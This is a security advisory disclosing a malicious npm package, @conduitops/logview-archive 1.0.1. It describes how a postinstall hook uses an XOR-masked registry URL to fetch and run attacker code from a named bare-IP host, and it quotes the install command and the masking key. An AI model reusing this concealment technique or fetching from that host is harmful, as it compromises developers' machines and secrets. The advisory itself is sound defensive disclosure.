@conduitops/logview-archive

GHSA-qxg9-x88v-w2gv

Malicious code in @conduitops/logview-archive (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.1`

## Source: amazon-inspector (f20036e315be6c5dd925bdedc87120af27adb007a4c2b6653c95cb386acd9009)
On install, package.json's postinstall hook runs install.js, which invokes `npm install @conduit/[email protected] --registry <URL>` where the registry URL is stored as a base64+XOR-masked string in lib/toolchain.json and decoded in memory by lib/origin.js (XOR key `c0ndu1t-ops`). The decoded destination is a plain-HTTP bare IP (http://139.196.94.195:8080/dl/npm/), not the public npm registry, a known publisher host, or an internal-DNS name consistent with the package's self-claimed `conduit.internal` provenance. npm will fetch and execute the lifecycle scripts of whatever package the attacker serves at that endpoint, giving arbitrary install-time code execution on the installer's host. A comment in lib/origin.js states the masking is intended so the downloaded package `carries no readable address`, confirming the concealment is deliberate rather than incidental.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/f17c406fb7ee5243da902499814340765fd9b86a/osv/malicious/npm/@conduitops/logview-archive/MAL-2026-18183.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/f17c406fb7ee5243da902499814340765fd9b86a/osv/malicious/npm/@conduitops/logview-archive/MAL-2026-18183.json
- https://www.npmjs.com/package/@conduitops/logview-archive/v/1.0.1
- https://github.com/advisories/GHSA-qxg9-x88v-w2gv

Compromised versions (1)

= 1.0.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.